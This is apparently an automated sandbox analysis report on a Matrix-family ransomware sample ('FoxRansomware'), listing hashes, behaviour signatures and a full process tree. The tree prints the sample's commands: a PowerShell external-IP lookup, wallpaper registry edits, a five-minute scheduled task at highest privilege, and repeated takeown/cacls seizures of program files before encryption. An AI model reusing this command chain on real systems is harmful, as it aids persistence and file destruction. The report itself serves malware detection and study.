Overview

overview

10

Static

static

FoxRansomw...65.exe

windows7_x64

10

FoxRansomw...65.exe

windows10-2004_x64

10

FoxRansomw...a7.exe

windows7_x64

10

FoxRansomw...a7.exe

windows10-2004_x64

10

FoxRansomw...20.exe

windows7_x64

10

FoxRansomw...20.exe

windows10-2004_x64

10

FoxRansomw...0b.exe

windows7_x64

10

FoxRansomw...0b.exe

windows10-2004_x64

10

FoxRansomw...53.exe

windows7_x64

10

FoxRansomw...53.exe

windows10-2004_x64

10

FoxRansomw...b1.exe

windows7_x64

10

FoxRansomw...b1.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    161s
  • max time network
    133s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    01-02-2022 08:39

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe

  • Size

    1.2MB

  • MD5

    c82d64850d35cc6a536c11adbd261cf6

  • SHA1

    9f4d070a1b4668d110b57c167c4527fa2752c1fe

  • SHA256

    941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1

  • SHA512

    777a06d73e70a881d5b3872236ba8b53aa4d42f94ad247c109980847ccd6d0c531d30afef10315d7b5fe70c7fe4496f932aaac41f6aec76e98474c44bb781002

Score
10/10
matrixdiscoverypersistenceransomwarespywarestealersuricataupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 64 IoCs
  • Modifies extensions of user files 3 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 54 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 53 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 40 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
    "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe"
    1⤵
    • Matrix Ransomware
    • Modifies extensions of user files
    • Loads dropped DLL
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1580
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWbpVd9W.exe"
      2⤵
        PID:1920
      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWbpVd9W.exe
        "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWbpVd9W.exe" -n
        2⤵
        • Executes dropped EXE
        PID:760
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\Y81a2v1H.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1632
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1948
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\H5mnJKOJ.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1452
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\H5mnJKOJ.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:292
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:1588
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:1976
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\jpMqGlzX.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1072
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\jpMqGlzX.vbs"
              3⤵
                PID:1880
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\iZwk4ceY.bat" /sc minute /mo 5 /RL HIGHEST /F
                  4⤵
                    PID:1748
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\iZwk4ceY.bat" /sc minute /mo 5 /RL HIGHEST /F
                      5⤵
                      • Creates scheduled task(s)
                      PID:520
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                    4⤵
                      PID:1708
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /Run /I /tn DSHCA
                        5⤵
                          PID:1384
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf""
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1836
                    • C:\Windows\SysWOW64\cacls.exe
                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf" /E /G Admin:F /C
                      3⤵
                        PID:1368
                      • C:\Windows\SysWOW64\takeown.exe
                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"
                        3⤵
                        • Modifies file permissions
                        PID:1704
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "ENUtxt.pdf" -nobanner
                        3⤵
                        • Loads dropped DLL
                        • Suspicious use of WriteProcessMemory
                        PID:1996
                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                          8Pk9qSFt.exe -accepteula "ENUtxt.pdf" -nobanner
                          4⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of WriteProcessMemory
                          PID:1424
                          • C:\Users\Admin\AppData\Local\Temp\8Pk9qSFt64.exe
                            8Pk9qSFt.exe -accepteula "ENUtxt.pdf" -nobanner
                            5⤵
                            • Drops file in Drivers directory
                            • Executes dropped EXE
                            • Enumerates connected drives
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious behavior: LoadsDriver
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1524
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf""
                      2⤵
                      • Loads dropped DLL
                      PID:1392
                      • C:\Windows\SysWOW64\cacls.exe
                        cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf" /E /G Admin:F /C
                        3⤵
                          PID:1688
                        • C:\Windows\SysWOW64\takeown.exe
                          takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf"
                          3⤵
                          • Modifies file permissions
                          PID:1756
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "StandardBusiness.pdf" -nobanner
                          3⤵
                          • Loads dropped DLL
                          PID:1304
                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                            8Pk9qSFt.exe -accepteula "StandardBusiness.pdf" -nobanner
                            4⤵
                            • Executes dropped EXE
                            PID:1608
                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                          8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                          3⤵
                          • Executes dropped EXE
                          PID:268
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf""
                        2⤵
                        • Loads dropped DLL
                        PID:536
                        • C:\Windows\SysWOW64\cacls.exe
                          cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf" /E /G Admin:F /C
                          3⤵
                            PID:924
                          • C:\Windows\SysWOW64\takeown.exe
                            takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"
                            3⤵
                            • Modifies file permissions
                            PID:1700
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "DefaultID.pdf" -nobanner
                            3⤵
                            • Loads dropped DLL
                            PID:804
                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                              8Pk9qSFt.exe -accepteula "DefaultID.pdf" -nobanner
                              4⤵
                              • Executes dropped EXE
                              PID:1632
                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                            8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                            3⤵
                            • Executes dropped EXE
                            PID:1548
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""
                          2⤵
                          • Loads dropped DLL
                          PID:1588
                          • C:\Windows\SysWOW64\cacls.exe
                            cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C
                            3⤵
                              PID:1416
                            • C:\Windows\SysWOW64\takeown.exe
                              takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"
                              3⤵
                              • Modifies file permissions
                              PID:1776
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "AdobeID.pdf" -nobanner
                              3⤵
                              • Loads dropped DLL
                              PID:1368
                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                8Pk9qSFt.exe -accepteula "AdobeID.pdf" -nobanner
                                4⤵
                                • Executes dropped EXE
                                PID:1324
                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                              8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                              3⤵
                              • Executes dropped EXE
                              PID:1624
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf""
                            2⤵
                            • Loads dropped DLL
                            PID:1708
                            • C:\Windows\SysWOW64\cacls.exe
                              cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf" /E /G Admin:F /C
                              3⤵
                                PID:1000
                              • C:\Windows\SysWOW64\takeown.exe
                                takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"
                                3⤵
                                • Modifies file permissions
                                PID:1268
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner
                                3⤵
                                • Loads dropped DLL
                                PID:1392
                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                  8Pk9qSFt.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner
                                  4⤵
                                  • Executes dropped EXE
                                  PID:1940
                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                3⤵
                                • Executes dropped EXE
                                PID:1020
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf""
                              2⤵
                              • Loads dropped DLL
                              PID:860
                              • C:\Windows\SysWOW64\cacls.exe
                                cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf" /E /G Admin:F /C
                                3⤵
                                  PID:1384
                                • C:\Windows\SysWOW64\takeown.exe
                                  takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf"
                                  3⤵
                                  • Modifies file permissions
                                  PID:1644
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "Dynamic.pdf" -nobanner
                                  3⤵
                                  • Loads dropped DLL
                                  PID:292
                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                    8Pk9qSFt.exe -accepteula "Dynamic.pdf" -nobanner
                                    4⤵
                                    • Executes dropped EXE
                                    PID:796
                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                  8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                  3⤵
                                  • Executes dropped EXE
                                  PID:536
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf""
                                2⤵
                                • Loads dropped DLL
                                PID:1536
                                • C:\Windows\SysWOW64\cacls.exe
                                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" /E /G Admin:F /C
                                  3⤵
                                    PID:1160
                                  • C:\Windows\SysWOW64\takeown.exe
                                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"
                                    3⤵
                                    • Modifies file permissions
                                    PID:1604
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "SignHere.pdf" -nobanner
                                    3⤵
                                    • Loads dropped DLL
                                    PID:560
                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                      8Pk9qSFt.exe -accepteula "SignHere.pdf" -nobanner
                                      4⤵
                                      • Executes dropped EXE
                                      PID:1528
                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                    8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                    3⤵
                                    • Executes dropped EXE
                                    PID:108
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa""
                                  2⤵
                                  • Loads dropped DLL
                                  PID:1652
                                  • C:\Windows\SysWOW64\cacls.exe
                                    cacls "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa" /E /G Admin:F /C
                                    3⤵
                                      PID:1568
                                    • C:\Windows\SysWOW64\takeown.exe
                                      takeown /F "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa"
                                      3⤵
                                      • Modifies file permissions
                                      PID:1800
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "classes.jsa" -nobanner
                                      3⤵
                                      • Loads dropped DLL
                                      PID:1816
                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                        8Pk9qSFt.exe -accepteula "classes.jsa" -nobanner
                                        4⤵
                                        • Executes dropped EXE
                                        PID:276
                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                      8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                      3⤵
                                      • Executes dropped EXE
                                      PID:1952
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files\Java\jre7\bin\server\classes.jsa""
                                    2⤵
                                    • Loads dropped DLL
                                    PID:292
                                    • C:\Windows\SysWOW64\cacls.exe
                                      cacls "C:\Program Files\Java\jre7\bin\server\classes.jsa" /E /G Admin:F /C
                                      3⤵
                                        PID:564
                                      • C:\Windows\SysWOW64\takeown.exe
                                        takeown /F "C:\Program Files\Java\jre7\bin\server\classes.jsa"
                                        3⤵
                                        • Modifies file permissions
                                        PID:1544
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "classes.jsa" -nobanner
                                        3⤵
                                        • Loads dropped DLL
                                        PID:1512
                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                          8Pk9qSFt.exe -accepteula "classes.jsa" -nobanner
                                          4⤵
                                          • Executes dropped EXE
                                          PID:1712
                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                        8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                        3⤵
                                        • Executes dropped EXE
                                        PID:1228
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png""
                                      2⤵
                                      • Loads dropped DLL
                                      PID:1368
                                      • C:\Windows\SysWOW64\cacls.exe
                                        cacls "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png" /E /G Admin:F /C
                                        3⤵
                                          PID:760
                                        • C:\Windows\SysWOW64\takeown.exe
                                          takeown /F "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png"
                                          3⤵
                                          • Modifies file permissions
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:108
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "HeartsMCE.png" -nobanner
                                          3⤵
                                          • Loads dropped DLL
                                          PID:1976
                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                            8Pk9qSFt.exe -accepteula "HeartsMCE.png" -nobanner
                                            4⤵
                                            • Executes dropped EXE
                                            PID:1616
                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                          8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                          3⤵
                                          • Executes dropped EXE
                                          PID:316
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png""
                                        2⤵
                                        • Loads dropped DLL
                                        PID:1816
                                        • C:\Windows\SysWOW64\cacls.exe
                                          cacls "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png" /E /G Admin:F /C
                                          3⤵
                                            PID:1688
                                          • C:\Windows\SysWOW64\takeown.exe
                                            takeown /F "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png"
                                            3⤵
                                            • Modifies file permissions
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1676
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "MahjongMCE.png" -nobanner
                                            3⤵
                                            • Loads dropped DLL
                                            PID:1960
                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                              8Pk9qSFt.exe -accepteula "MahjongMCE.png" -nobanner
                                              4⤵
                                              • Executes dropped EXE
                                              PID:520
                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                            8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                            3⤵
                                            • Executes dropped EXE
                                            PID:1304
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files\Microsoft Games\Chess\ChessMCE.png""
                                          2⤵
                                          • Loads dropped DLL
                                          PID:1520
                                          • C:\Windows\SysWOW64\cacls.exe
                                            cacls "C:\Program Files\Microsoft Games\Chess\ChessMCE.png" /E /G Admin:F /C
                                            3⤵
                                              PID:1880
                                            • C:\Windows\SysWOW64\takeown.exe
                                              takeown /F "C:\Program Files\Microsoft Games\Chess\ChessMCE.png"
                                              3⤵
                                              • Modifies file permissions
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:1072
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "ChessMCE.png" -nobanner
                                              3⤵
                                              • Loads dropped DLL
                                              PID:804
                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                8Pk9qSFt.exe -accepteula "ChessMCE.png" -nobanner
                                                4⤵
                                                • Executes dropped EXE
                                                PID:1404
                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                              8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                              3⤵
                                              • Executes dropped EXE
                                              PID:860
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png""
                                            2⤵
                                            • Loads dropped DLL
                                            PID:1300
                                            • C:\Windows\SysWOW64\cacls.exe
                                              cacls "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png" /E /G Admin:F /C
                                              3⤵
                                                PID:1656
                                              • C:\Windows\SysWOW64\takeown.exe
                                                takeown /F "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png"
                                                3⤵
                                                • Modifies file permissions
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1276
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "PurblePlaceMCE.png" -nobanner
                                                3⤵
                                                • Loads dropped DLL
                                                PID:2028
                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                  8Pk9qSFt.exe -accepteula "PurblePlaceMCE.png" -nobanner
                                                  4⤵
                                                  • Executes dropped EXE
                                                  PID:536
                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                3⤵
                                                • Executes dropped EXE
                                                PID:552
                                            • C:\Windows\SysWOW64\cmd.exe
                                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der""
                                              2⤵
                                              • Loads dropped DLL
                                              PID:108
                                              • C:\Windows\SysWOW64\cacls.exe
                                                cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der" /E /G Admin:F /C
                                                3⤵
                                                  PID:1268
                                                • C:\Windows\SysWOW64\takeown.exe
                                                  takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der"
                                                  3⤵
                                                  • Modifies file permissions
                                                  PID:1704
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "RTC.der" -nobanner
                                                  3⤵
                                                  • Loads dropped DLL
                                                  PID:1944
                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                    8Pk9qSFt.exe -accepteula "RTC.der" -nobanner
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:1728
                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                  8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                  3⤵
                                                  • Executes dropped EXE
                                                  PID:972
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif""
                                                2⤵
                                                • Loads dropped DLL
                                                PID:520
                                                • C:\Windows\SysWOW64\cacls.exe
                                                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif" /E /G Admin:F /C
                                                  3⤵
                                                    PID:1304
                                                  • C:\Windows\SysWOW64\takeown.exe
                                                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif"
                                                    3⤵
                                                    • Modifies file permissions
                                                    PID:1816
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "end_review.gif" -nobanner
                                                    3⤵
                                                    • Loads dropped DLL
                                                    PID:1876
                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                      8Pk9qSFt.exe -accepteula "end_review.gif" -nobanner
                                                      4⤵
                                                      • Executes dropped EXE
                                                      PID:740
                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                    8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                    3⤵
                                                    • Executes dropped EXE
                                                    PID:272
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif""
                                                  2⤵
                                                  • Loads dropped DLL
                                                  PID:1868
                                                  • C:\Windows\SysWOW64\cacls.exe
                                                    cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif" /E /G Admin:F /C
                                                    3⤵
                                                      PID:952
                                                    • C:\Windows\SysWOW64\takeown.exe
                                                      takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif"
                                                      3⤵
                                                      • Modifies file permissions
                                                      PID:948
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "reviews_joined.gif" -nobanner
                                                      3⤵
                                                      • Loads dropped DLL
                                                      PID:1384
                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                        8Pk9qSFt.exe -accepteula "reviews_joined.gif" -nobanner
                                                        4⤵
                                                        • Executes dropped EXE
                                                        PID:1256
